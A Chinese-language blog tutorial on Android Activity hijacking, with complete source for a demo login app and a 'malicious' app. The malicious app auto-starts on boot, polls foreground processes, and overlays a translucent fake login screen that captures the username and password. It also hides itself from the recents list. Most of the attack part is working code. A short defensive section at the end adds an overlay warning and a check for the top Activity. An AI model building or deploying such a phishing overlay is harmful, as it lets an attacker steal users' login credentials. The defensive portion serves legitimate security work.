原文地址:http://blog.chinaunix.net/uid-29170659-id-4930737.html
这里举一个例子。用户打开安卓手机上的某一应用,进入到登陆页面,这时,恶意软件侦测到用户的这一动作,立即弹出一个与该应用界面相同的Activity,覆盖掉了合法的Activity,用户几乎无法察觉,该用户接下来输入用户名和密码的操作其实是在恶意软件的Activity上进行的,接下来会发生什么就可想而知了。
Activity劫持的危害是非常大的,它的具体实现和一些细节,我将会用一个完整的实例说明:
首先,我们在Android Studio中新建一个工程,项目结构如下:
activity_main.xml的内容:
- <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
- xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent"
- android:layout_height="match_parent" >
- <TextView
- android:layout_width="match_parent"
- android:layout_height="wrap_content"
- android:text="Normal Activity"
- android:gravity="center_horizontal"
- android:padding="10dp"
- android:background="#ffffff"/>
- <LinearLayout
- android:id="@+id/Layout1"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:layout_centerHorizontal="true"
- android:layout_marginTop="80dp"
- android:orientation="horizontal">
- <TextView
- android:text="UserName"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:textColor="#000000"
- android:textSize="20dp" />
- <EditText
- android:id="@+id/UserNameEdit"
- android:layout_width="100dp"
- android:layout_height="wrap_content" />
- </LinearLayout>
- <LinearLayout
- android:id="@+id/Layout2"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:layout_centerHorizontal="true"
- android:layout_marginTop="50dp"
- android:orientation="horizontal"
- android:layout_below="@id/Layout1">
- <TextView
- android:text="Password"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:textColor="#000000"
- android:textSize="20dp" />
- <EditText
- android:id="@+id/PasswordEdit"
- android:layout_width="100dp"
- android:layout_height="wrap_content" />
- </LinearLayout>
- <Button
- android:id="@+id/LoginButton"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:layout_below="@id/Layout2"
- android:layout_marginTop="5dp"
- android:layout_centerHorizontal="true"
- android:text="Login"/>
- </RelativeLayout>
activity_second.xml的内容:只是一个TextView控件,显示"Second Activity"而已,就不贴代码了。
MainActivity.java的内容:
- package com.example.hac.normalapp;
- import android.app.Activity;
- import android.content.Intent;
- import android.os.Bundle;
- import android.view.View;
- import android.widget.Button;
- import android.widget.EditText;
- //一个简单的界面,模拟用户输入用户名、密码,点击按钮后就跳转到SecondActivity
- //只是为了演示正常的Activity而已,无实际功能
- public class MainActivity extends Activity {
- Button login = null;
- EditText userName = null;
- EditText password = null;
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- setContentView(R.layout.activity_main);
- login = (Button)findViewById(R.id.LoginButton);
- userName = (EditText)findViewById(R.id.UserNameEdit);
- password = (EditText)findViewById(R.id.PasswordEdit);
- login.setOnClickListener(new View.OnClickListener() {
- @Override
- public void onClick(View view) {
- Intent intent = new Intent(MainActivity.this, SecondActivity.class);
- //启动SecondActivity
- startActivity(intent);
- }
- });
- }
- }
SecondActivity.java的内容:无内容,就是一个空的Activity,用于显示activity_second.xml的内容而已,不贴代码啦。
AndroidMainfest.xml的内容:就是普通的内容,不贴代码了。
接下来是我们的恶意软件,再新建一个工程,项目结构如下:
activity_fakemain.xml的内容:我们伪造的Activity布局,模仿上面正常的Activity布局。
- <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
- xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent"
- android:layout_height="match_parent" >
- <TextView
- android:layout_width="match_parent"
- android:layout_height="wrap_content"
- android:text="Normal Activity"
- android:gravity="center_horizontal"
- android:padding="10dp"
- android:background="#ffffff"
- android:visibility="invisible"/>
- <LinearLayout
- android:id="@+id/Layout1"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:layout_centerHorizontal="true"
- android:layout_marginTop="80dp"
- android:orientation="horizontal">
- <TextView
- android:text="UserName"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:textColor="#000000"
- android:textSize="20dp"
- android:visibility="invisible"/>
- <EditText
- android:id="@+id/UserNameEdit"
- android:layout_width="100dp"
- android:layout_height="wrap_content"
- android:visibility="invisible"/>
- </LinearLayout>
- <LinearLayout
- android:id="@+id/Layout2"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:layout_centerHorizontal="true"
- android:layout_marginTop="50dp"
- android:orientation="horizontal"
- android:layout_below="@id/Layout1">
- <TextView
- android:text="Password"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:textColor="#000000"
- android:textSize="20dp"
- android:visibility="invisible"/>
- <EditText
- android:id="@+id/PasswordEdit"
- android:layout_width="100dp"
- android:layout_height="wrap_content"
- android:visibility="invisible"/>
- </LinearLayout>
- <Button
- android:id="@+id/LoginButton"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:layout_below="@id/Layout2"
- android:layout_marginTop="5dp"
- android:layout_centerHorizontal="true"
- android:text="Login"
- android:visibility="invisible"/>
- </RelativeLayout>
activity_main.xml的内容:
- <?xml version="1.0" encoding="utf-8"?>
- <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
- android:orientation="vertical" android:layout_width="match_parent"
- android:layout_height="match_parent">
- <TextView
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:text="Start"
- android:textSize="50dp"/>
- <Button
- android:id="@+id/StartServiceButton"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:text="StartService"
- android:padding="20dp"
- android:layout_gravity="center_horizontal"/>
- </LinearLayout>
AutoStartReceiver.java的内容:
- package com.example.hac.evilapp;
- import android.content.BroadcastReceiver;
- import android.content.Context;
- import android.content.Intent;
- //用于开机自动启动HijackService的Receiver,它能够响应“android.intent.action.BOOT_COMPLETED”
- public class AutoStartReceiver extends BroadcastReceiver {
- @Override
- public void onReceive(Context context, Intent intent) {
- if (intent.getAction().equals("android.intent.action.BOOT_COMPLETED")) {
- Intent _intent = new Intent(context, HijackService.class);
- //启动HijackService
- context.startService(_intent);
- }
- }
- }
EvilApplication.java的内容:
- package com.example.hac.evilapp;
- import android.app.Application;
- import java.util.ArrayList;
- import java.util.List;
- public class EvilApplication extends Application{
- //存放已经被劫持的程序
- List<String> hijackedList = new ArrayList<String>();
- public boolean hasProgressBeHijacked(String processName) {
- return hijackedList.contains(processName);
- }
- public void addHijacked(String processName) {
- hijackedList.add(processName);
- }
- public void clearHijacked() {
- hijackedList.clear();
- }
- }
FakeMainActivity.java的内容:
- package com.example.hac.evilapp;
- import android.app.Activity;
- import android.os.Bundle;
- import android.view.View;
- import android.widget.Button;
- import android.widget.EditText;
- import android.widget.Toast;
- import java.util.Timer;
- import java.util.TimerTask;
- public class FakeMainActivity extends Activity {
- Button login = null;
- EditText userName = null;
- EditText password = null;
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- setContentView(R.layout.activity_fakemain);
- login = (Button)findViewById(R.id.LoginButton);
- userName = (EditText)findViewById(R.id.UserNameEdit);
- password = (EditText)findViewById(R.id.PasswordEdit);
- //下面这段代码主要是为了使用户更难察觉出我们伪造的Activity
- //原理是保证我们伪造的Activity已经覆盖在真实的Activity上后,再将我们的控件显示出来
- //我本来是想让我们伪造的Activity直接在原位淡入的,但没有实现,郁闷
- //无奈只能用这个本方法,如果大家有更好的办法,请赐教
- Timer timer = new Timer();
- TimerTask task = new TimerTask() {
- @Override
- public void run() {
- runOnUiThread(new Runnable(){
- @Override
- public void run() {
- userName.setVisibility(View.VISIBLE);
- password.setVisibility(View.VISIBLE);
- login.setVisibility(View.VISIBLE);
- }});
- }
- };
- timer.schedule(task, 1000);
- login.setOnClickListener(new View.OnClickListener() {
- @Override
- public void onClick(View view) {
- //这里为了显示效果,将用户输入的内容显示出来,真正的恶意软件则会直接将信息发送给自己
- Toast.makeText(getApplicationContext(), userName.getText().toString() + " / " + password.getText().toString(),Toast.LENGTH_LONG).show();
- //为了伪造的Activity弹出时不那么明显
- userName.setVisibility(View.INVISIBLE);
- password.setVisibility(View.INVISIBLE);
- login.setVisibility(View.INVISIBLE);
- finish();
- }
- });
- }
- }
HijackService.java的内容:
- package com.example.hac.evilapp;
- import android.app.ActivityManager;
- import android.app.Service;
- import android.content.Context;
- import android.content.Intent;
- import android.os.Handler;
- import android.os.IBinder;
- import android.util.Log;
- import java.util.HashMap;
- import java.util.List;
- public class HijackService extends Service {
- //targetMap用于存放我们的目标程序
- HashMap<String, Class<?>> targetMap = new HashMap<String, Class<?>>();
- Handler handler = new Handler();
- boolean isStart = false;
- //我们新建一个Runnable对象,每隔200ms进行一次搜索
- Runnable searchTarget = new Runnable() {
- @Override
- public void run() {
- //得到ActivityManager
- ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
- //通过ActivityManager将当前正在运行的进程存入processInfo中
- List<ActivityManager.RunningAppProcessInfo> processInfo = activityManager.getRunningAppProcesses();
- Log.w("恶意软件", "遍历进程");
- //遍历processInfo中的进程信息,看是否有我们的目标
- for (ActivityManager.RunningAppProcessInfo _processInfo : processInfo) {
- //若processInfo中的进程正在前台且是我们的目标进程,则调用hijack方法进行劫持
- if (_processInfo.importance == ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND) {
- if (targetMap.containsKey(_processInfo.processName)) {
- // 调用hijack方法进行劫持
- hijack(_processInfo.processName);
- } else {
- Log.w("进程", _processInfo.processName);
- }
- }
- }
- handler.postDelayed(searchTarget, 200);
- }
- };
- //进行Activity劫持的函数
- private void hijack(String processName) {
- //这里判断我们的目标程序是否已经被劫持过了
- if (((EvilApplication) getApplication())
- .hasProgressBeHijacked(processName) == false) {
- Log.w("恶意软件", "开始劫持"+processName);
- Intent intent = new Intent(getBaseContext(),
- targetMap.get(processName));
- //这里必须将flag设置为Intent.FLAG_ACTIVITY_NEW_TASK,这样才能将我们伪造的Activity至于栈顶
- intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
- //启动我们伪造的Activity
- getApplication().startActivity(intent);
- //将目标程序加入到已劫持列表中
- ((EvilApplication) getApplication()).addHijacked(processName);
- Log.w("恶意软件", "已经劫持");
- }
- }
- @Override
- public void onStart(Intent intent, int startId) {
- super.onStart(intent, startId);
- if (!isStart) {
- //将我们的目标加入targetMap中
- //这里,key为我们的目标进程,value为我们伪造的Activity
- targetMap.put("com.example.hac.normalapp",
- FakeMainActivity.class);
- //启动searchTarget
- handler.postDelayed(searchTarget, 1000);
- isStart = true;
- }
- }
- @Override
- public boolean stopService(Intent name) {
- isStart = false;
- Log.w("恶意软件", "停止劫持");
- //清空劫持列表
- ((EvilApplication) getApplication()).clearHijacked();
- //停止searchTarget
- handler.removeCallbacks(searchTarget);
- return super.stopService(name);
- }
- @Override
- public IBinder onBind(Intent intent) {
- return null;
- }
- }
StartServiceActivity.java的内容:
- package com.example.hac.evilapp;
- import android.app.Activity;
- import android.content.Intent;
- import android.os.Bundle;
- import android.view.View;
- import android.widget.Button;
- //用于手动启动我们的HijackService,真正的恶意软件通常不会有这样的一个Activity
- public class StartServiceActivity extends Activity {
- Button startButton = null;
- @Override
- public void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- setContentView(R.layout.activity_main);
- startButton = (Button)findViewById(R.id.StartServiceButton);
- startButton.setOnClickListener(new View.OnClickListener() {
- @Override
- public void onClick(View view) {
- Intent intent2 = new Intent(StartServiceActivity.this, HijackService.class);
- startService(intent2);
- }
- });
- }
- }
colors.xml的内容:
- <?xml version="1.0" encoding="utf-8"?>
- <resources>
- <color name="translucent_background">#00000000</color>>
- </resources>
styles.xml的内容:
- <resources>
- <!-- Base application theme. -->
- <style name="AppTheme" parent="Theme.AppCompat.Light.DarkActionBar">
- <!-- Customize your theme here. -->
- </style>
- <style name="translucent" parent="Theme.AppCompat.Light.DarkActionBar">
- <item name="android:windowBackground">@color/translucent_background</item>
- <item name="android:windowIsTranslucent">true</item>
- <item name="android:windowAnimationStyle">@android:style/Animation.Translucent</item>
- </style>
- </resources>
AndroidMainfest.xml的内容:注意HijackService和AutoStartReceiver要在这里注册,且要添加相应的权限。另外,添加andorid:excludeFromRecent="true"这一项能够防止我们的恶意程序在最近访问列表中出现,这将提升其危险程度。
- <?xml version="1.0" encoding="utf-8"?>
- <manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.example.hac.evilapp" >
- <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
- <application
- android:name=".EvilApplication"
- android:allowBackup="true"
- android:icon="@drawable/ic_launcher"
- android:label="@string/app_name"
- android:theme="@style/AppTheme" >
- <activity
- android:name=".StartServiceActivity"
- android:label="@string/app_name"
- android:excludeFromRecents="true">
- <intent-filter>
- <action android:name="android.intent.action.MAIN" />
- <category android:name="android.intent.category.LAUNCHER" />
- </intent-filter>
- </activity>
- <activity android:name=".FakeMainActivity" android:excludeFromRecents="true" android:theme="@style/translucent"/>
- <service android:name=".HijackService" ></service>
- <receiver
- android:name=".AutoStartReceiver"
- android:enabled="true"
- android:exported="true" >
- <intent-filter>
- <action android:name="android.intent.action.BOOT_COMPLETED" />
- </intent-filter>
- </receiver>
- </application>
- </manifest>
项目工程下载(ChinaUnix对文件大小有限制,只能传百度网盘了):
http://pan.baidu.com/s/1eQ8JF5w
目前,还没有什么专门针对Activity劫持的防护方法,因为,这种攻击是用户层面上的,目前还无法从代码层面上根除。
但是,我们可以适当地在APP中给用户一些警示信息,提示用户其登陆界面以被覆盖,并给出覆盖正常Activity的类名,示例如下:
1、在前面建立的正常Activity的登陆界面(也就是MainActivity)中重写onKeyDown方法和onPause方法,这样一来,当其被覆盖时,就能够弹出警示信息,代码如下:
- @Override
- public boolean onKeyDown(int keyCode, KeyEvent event) {
- //判断程序进入后台是否是用户自身造成的(触摸返回键或HOME键),是则无需弹出警示。
- if((keyCode==KeyEvent.KEYCODE_BACK || keyCode==KeyEvent.KEYCODE_HOME) && event.getRepeatCount()==0){
- needAlarm = false;
- }
- return super.onKeyDown(keyCode, event);
- }
- @Override
- protected void onPause() {
- //若程序进入后台不是用户自身造成的,则需要弹出警示
- if(needAlarm) {
- //弹出警示信息
- Toast.makeText(getApplicationContext(), "您的登陆界面被覆盖,请确认登陆环境是否安全", Toast.LENGTH_SHORT).show();
- //启动我们的AlarmService,用于给出覆盖了正常Activity的类名
- Intent intent = new Intent(this, AlarmService.class);
- startService(intent);
- }
- super.onPause();
- }
2、实现AlarmService.java,代码如下:
- package com.example.hac.normalapp;
- import android.app.ActivityManager;
- import android.app.Service;
- import android.content.Context;
- import android.content.Intent;
- import android.os.Handler;
- import android.os.IBinder;
- import android.widget.Toast;
- public class AlarmService extends Service{
- boolean isStart = false;
- Handler handler = new Handler();
- Runnable alarmRunnable = new Runnable() {
- @Override
- public void run() {
- //得到ActivityManager
- ActivityManager activityManager = (ActivityManager)getSystemService(Context.ACTIVITY_SERVICE);
- //getRunningTasks会返回一个List,List的大小等于传入的参数。
- //get(0)可获得List中的第一个元素,即栈顶的task
- ActivityManager.RunningTaskInfo info = activityManager.getRunningTasks(1).get(0);
- //得到当前栈顶的类名,按照需求,也可以得到完整的类名和包名
- String shortClassName = info.topActivity.getShortClassName(); //类名
- //完整类名
- //String className = info.topActivity.getClassName();
- //包名
- //String packageName = info.topActivity.getPackageName();
- Toast.makeText(getApplicationContext(), "当前运行的程序为"+shortClassName, Toast.LENGTH_LONG).show();
- }
- };
- @Override
- public int onStartCommand(Intent intent, int flag, int startId) {
- super.onStartCommand(intent, flag, startId);
- if(!isStart) {
- isStart = true;
- //启动alarmRunnable
- handler.postDelayed(alarmRunnable, 1000);
- stopSelf();
- }
- return START_STICKY;
- }
- @Override
- public IBinder onBind(Intent intent) {
- return null;
- }
- }
3、最后在AndroidManifest.xml中注册AlarmService即可。
新手发文,写得不对不好的地方麻烦指出,谢谢。